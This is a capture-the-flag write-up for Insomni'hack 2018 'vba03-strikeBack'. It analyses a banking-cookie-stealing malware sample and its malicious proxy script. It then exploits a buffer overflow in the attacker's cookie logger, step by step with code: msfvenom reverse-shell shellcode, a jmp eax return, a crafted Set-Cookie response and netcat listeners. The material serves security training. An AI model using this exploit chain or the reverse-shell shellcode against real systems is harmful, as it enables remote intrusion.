Insomni’hack 2018 – vba03-strikeBack writeup

Here is a write-up for the challenge “vba03-strikeBack”, since none was posted yet on CTFtime.

All the source code for the malware and cookie logger are available on GitHub.

Task description

The teams had the following info:

What the frick mom? I fell for it for the THIRD time! Here is the file I downloaded:
VBA03 – Bitcoin value prediction 2.xls

(password for the zip file is “infected”)

Summary

How it works

  1. The .xls file contains an obfuscated VBA macro (same one as the “vba02-bitminer” challenge) that drops and runs a packed executable.
  2. The dropped executable configures a system wide HTTP proxy. If ran as administrator, it also installs a malicious self-signed root CA. An automatic proxy configuration script instructs the browsers to proxify only the traffic to hosts containing the word “bank”.
  3. Whenever a proxified HTTP response sets a new cookie through the Set-Cookie HTTP header, the proxy server logs the time, host and cookie. This allows the author of the malware to steal e-banking sessions.

How to solve

  1. Analyze the malware using either static or dynamic analysis and notice the proxy auto-configuration file hosted at ftp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac.
  2. Access the FTP and notice that it also hosts the source code and binary of the cookie logger.
  3. Find a simple buffer overflow vulnerability in the cookie logger and craft a proof-of-concept locally.
  4. Set-up an HTTP server and make it answer with a Set-Cookie header that has the PoC’s buffer as a cookie.
  5. In any web browser, access the HTTP server through the vulnerable proxy.
  6. Get a reverse shell and find the flag in the flag.txt file.

Malware analysis

Here is the source code of the malware (of course, this was not available to the teams).

Static analysis

The analysis part could be performed by de-obfuscating the VBA macro (it was the same one as the “vba02-bitminer” challenge) which it drops and executes a file named bot.txt in the %TEMP% folder, and reverse-engineering this executable.

The executable was packed with UPX, but a few bytes were modified in order to prevent trivial unpacking using upx -d.

UPX unpacking
Trivial UPX unpacking fails

Of course, manual unpacking of UPX is not hard, but in this case it was much quicker perform a dynamic analysis.

Dynamic analysis

Dynamic analysis consist in running the malware (in a sand-boxed environment, of course 😉) and analyzing what happens. For instance, it can be done using Process Monitor.

First, open the malicious Excel file, but do not enable macros yet. Then, start a capture in Process Monitor, enable the macros in Excel, and stop the capture.

In my case, Excel had the PID 9472, so I added a filter to only show entries whose PPID is 9472:

Process Monitor filter
Process Monitor filter

This only leaves entries from an executable named bot.txt. Among them, some events seem related to proxy configuration. More specifically, the AutoConfigURL registry key is modified.

Process Monitor events
Suspicious events related to proxy settings
"<tt

Opening this event reveals the URL that is used for the AutoConfigURL: ftp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac.

When the executable is ran as administrator, dynamic analysis would also reveal that a self-signed root CA is installed, (so that when a user browses to an HTTPS website, no warning is displayed). However, this part is not useful to solve the challenge.

Information gathering

.pac file

The .pac file is lightly obfuscated, but it can be de-obfuscated for instance using JSbeautifier.


/* Original */
var _0x2ed5=["\x2A\x62\x61\x6E\x6B\x2A","\x50\x52\x4F\x58\x59\x20\x64\x72\x2D\x65\x76\x69\x6C\x2E\x69\x6E\x73\x6F\x6D\x6E\x69\x2E\x68\x61\x63\x6B\x3A\x36\x36\x36\x36"];function FindProxyForURL(_0x8d97x2,_0x8d97x3){if(shExpMatch(_0x8d97x2,_0x2ed5[0])){return _0x2ed5[1]}}

/* De-obfuscated */
function FindProxyForURL(_0x8d97x2, _0x8d97x3) {
  if (shExpMatch(_0x8d97x2, '*bank*')) {
    return 'PROXY dr-evil.insomni.hack:6666'
  }
}

So, there seems to be an HTTP proxy on port 6666 of dr-evil.insomin.hack. The proxy is used only for URLs that contain the word “bank”, because Dr. Evil probably wants to steal e-banking sessions.

FTP server

Because the username (dr-evil) and password (Mwahahaha_666!) are in the URL of the .pac file, it is possible to browse the FTP and download the C source code cookie_logger.c and the corresponding binary cookie_logger. There is also the file flag.txt, but it is not readable.

Source code

Below is the content of cookie_logger.c. Let’s hope that Dr. Evil’s mastery of the C language is as good as their mastery of the English language.


#include 
#include 
#include 
#include 

/*
 * Mwahahaha!
 *
 * This scirpt log the cookie recieved from the Set-Cookie of HTTP responses!
 *
 * Example usage:
 * ./cookie_logger "www.npb-bank.ch" "PHPSESSID=0ae08d562bc9a5ab9ab9c737810c6d1a; path=/"
 *
 * [X] TODO_1: i tested it and it logs my own cookies! redact them
 * [X] TODO_2: someone told me they're is a bufer over flaw in the fix of TODO_1?! fix it azap
 * [ ] TODO_3: make it gooder (curently its only working with < 512 chars
 */

// fix for TODO_1, tested working
char* redact(char *buf, char *to_redact) {
  char redacted[512];
  if(strstr(to_redact,"dr-evil"))
    strcpy(redacted,"[REDACTED]");
  else { 
    strcpy(redacted,to_redact);
  }
  strncpy(buf,redacted,512);//fixed the buf over flaw! (TODO_2)
  return buf;
}

// Main 
int main(int argc, char **argv)
{
  char cookie[512];
  char host[512];
  
  //build the csv with a timestamp
  printf("\"%ld\",\"%s\",\"%s\"\n",time(NULL),redact(host,argv[1]),redact(cookie,argv[2]));
}

This program takes a host and a cookie as arguments and outputs them with a timestamp as CSV. It also redacts the hosts and cookie if they contain “dr-evil”, because Dr. Evil does not want their own cookies to be logged.

Buffer overflow

Dr. Evil alledgedly fixed the “bufer over flaw”, but they missed one in the redact function, where the second argument of the function is copied using strcpy.

Also, the binary has no buffer overflow protection, so there is no need to leak any address and the PoC can be developed locally.


$ checksec --file cookie_logger
RELRO          STACK CANARY     NX           PIE     RPATH     RUNPATH FILE
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  No RUNPATH cookie_logger

Finding the offset that controls EIP

The tools pattern_create and pattern_offset can be used to determine the offset in the user input that controls EIP (the instruction pointer):


$ ./cookie_logger "www.example.com" "$(/usr/bin/msf-pattern_create --l 528)"
Segmentation fault
$ dmesg | tail -1
[309881.352326] cookie_logger[32684]: segfault at 35724134 ip 0000000035724134 sp 00000000ff90bce0 error 14
$ /usr/bin/msf-pattern_offset -q 35724134
[*] Exact match at offset 524

The 524-th to 527-th characters of the user input control EIP. Thus, the PoC skeleton will look like that:


import sys
padding = "X" * 524
eip = "ABCD"
buf = padding + eip
sys.stdout.write(buf)

Let’s test it:


$ ./cookie_logger "www.example.com" "$(python generate_payload.py)"
Segmentation fault
$ dmesg | tail -1
[310519.428977] cookie_logger[32726]: segfault at 44434241 ip 0000000044434241 sp 00000000ffff2260 error 14

There is a segmentation fault with EIP at 0x41424344 (in little-endian), which matches with the ABCD in the PoC skeleton.

Jumping to shellcode

Conveniently enough, the user-controlled input buf is returned by the vulnerable function, meaning that EAX will point to buf when the function returns.

Therefore, a simple jmp EAX gadget is enough to control the execution flow. The tool rp-lin-x64 (or any other ROP gadget finder) can be used to search for gadgets inside the binary.


$ ./rp-lin-x64 -f cookie_logger -r 1 | grep 'jmp eax'
[...]
0x080501b4: jmp eax ;
[...]

There are lots of jmp eax gadgets available. Let’s use the first one at 0x080501b4. Our PoC now looks like that:


import struct
import sys
shellcode = "\x68\xef\xbe\xad\xde\xc3" # push 0xdeadbeef;ret
padding = "X" * (524 - len(shellcode))
eip = struct.pack("I",0x080501b4) # jmp eax
buf = shellcode + padding + eip
sys.stdout.write(buf)

For now, the shellcode should jump to the address 0xdeadbeef. Let’s check that the shellcode is correctly executed:


$ ./cookie_logger "www.example.com" "$(python generate_payload.py)"
Segmentation fault
$ dmesg | tail -1
[313639.671886] cookie_logger[756]: segfault at deadbeef ip 00000000deadbeef sp 00000000ffcc2af0 error 14

Here is an illustration of the exploit so far. The red arrows represent the execution flow when the redact function returns.

Memory illustration
Execution flow when the redact function returns

Getting a reverse shell

The actual shellcode can be generated using msfvenom. In this case, I generated a reverse shell that connects back to my IP 192.168.17.102 on port 12345. Some characters should not be part of the shellcode since it will ultimately be parsed as a cookie inside an HTTP response: ‘\x00' (signals the end of a string in C), ‘;' (used to delimit cookies in the Set-Cookie HTTP header, ‘\n' and ‘\r' (used to delimit headers in the HTTP response).


import struct
# msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=192.168.17.102 LPORT=12345 --bad-chars ";\0d\x0a\x00" -f py -e x86/shikata_ga_nai
shellcode = ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\xbd\xf4\x41\xb7\xb8\x58\x33"
shellcode += "\xc9\xb1\x12\x31\x68\x17\x83\xe8\xfc\x03\x9c\x52\x55"
shellcode += "\x4d\x6d\x8e\x6e\x4d\xde\x73\xc2\xf8\xe2\xfa\x05\x4c"
shellcode += "\x84\x31\x45\x3e\x11\x7a\x79\x8c\x21\x33\xff\xf7\x49"
shellcode += "\x04\x57\x16\xef\xec\xaa\x19\xdf\xd5\x23\xf8\xaf\x40"
shellcode += "\x64\xaa\x9c\x3f\x87\xc5\xc3\x8d\x08\x87\x6b\x60\x26"
shellcode += "\x5b\x03\x14\x17\xb4\xb1\x8d\xee\x29\x67\x1d\x78\x4c"
shellcode += "\x37\xaa\xb7\x0f"
padding = "X" * (524 - len(shellcode))
eip = struct.pack("I",0x080501b4) # jmp eax
buf = shellcode + padding + eip

Also, the buffer should be used as a cookie, as follows:


print "HTTP/1.1 200 OK"
print "Date: Mon, 27 Jul 2009 12:28:53 GMT"
print "Server: Apache/2.2.14 (Win32)"
print "Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT"
print "Content-Length: 52"
print "Content-Type: text/html"
print "Connection: Closed"
print "Set-Cookie: " + buf # Insert the buffer here!
print ""
print "<html>"
print "<body>"
print "<h1>Hello, World!</h1>"
print "</body>"
print "</html>"
print ""
print ""

To trigger the buffer overflow on the vulnerable proxy, start by creating a basic HTTP server that serves the exploit (in this case using netcat):
shell


$ python generate_payload.py | nc -nlvp 80

In another terminal, create a listener for the reverse shell:


$ nc -nlvp 12345

Then, configure your web browser to use dr-evil.insomni.hack:6666 as proxy and visit your own web page, in this case http://192.168.17.102/.
You will get a reverse shell running as cookie-logger.


connect to [192.168.17.102] from (UNKNOWN) [10.13.37.66] 36434
$ whoami
cookie-logger

Finding the flag

It is now possible to read the flag.txt file, which contains a list of captured cookies. The flag is supposed to be the cookie of the malware author:


$ grep -i 'ins' -C 1 flag.txt
"1518702848","www.my100bank.com","PHPSESSID=0e015ef2438de2ae2e0b97f5586e1988; path=/"
"1518702863","[REDACTED]","flag=INS{C00ki3_St34l3r_St34l3r}; path=/"
"1518702879","www.summit.bank","dnn_IsMobile=False; path=/; secure; HttpOnly;language=en-US; path=/; secure; HttpOnly;.ASPXANONYMOUS=dP4qXPbc0wEkAAAANTViZGIzNTYtZGNmZS00ZjJhLTk4MDEtZWJmZDkxN2YxNWY40; expires=Thu, 26-Apr-2018 00:34:39 GMT; path=/; secure; HttpOnly;dnn_IsMobile=False; path=/; secure; HttpOnly;language=en-US; path=/; secure; HttpOnly;.ASPXANONYMOUS=dP4qXPbc0wEkAAAANTViZGIzNTYtZGNmZS00ZjJhLTk4MDEtZWJmZDkxN2YxNWY40; expires=Thu, 26-Apr-2018 00:34:39 GMT; path=/; secure; HttpOnly"

The flag is INS{C00ki3_St34l3r_St34l3r}.